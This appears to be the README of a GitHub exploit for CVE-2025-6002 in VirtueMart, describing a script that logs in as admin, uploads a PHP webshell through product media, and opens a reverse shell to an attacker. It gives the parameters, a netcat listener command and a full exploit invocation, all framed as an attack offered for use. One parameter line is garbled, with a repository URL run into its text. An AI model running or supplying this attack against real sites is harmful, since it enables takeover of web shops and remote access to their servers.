Exploit for CVE-2025-6002

This script exploits the authenticated arbitrary file upload vulnerability in VirtueMart < 4.4.10 (CVE-2025-6002), which is described in this blog post: https://blog.blacklanternsecurity.com/p/doomla-zero-days

This script logs in to VirtueMart with the given credentials, creates a new product and uploads a PHP webshell as a media file. It then invokes a reverse shell to the provided IP/port.

Parameters:

• --url: The VirtueMart url
• --username: admin username
• --password: admin password
• --remote-ip: attacker ip addresshttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: attacker port

Usage:

1. Run Netcat on the attacker machine:

nc -nlvp 1337

2. Execute the exploit

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337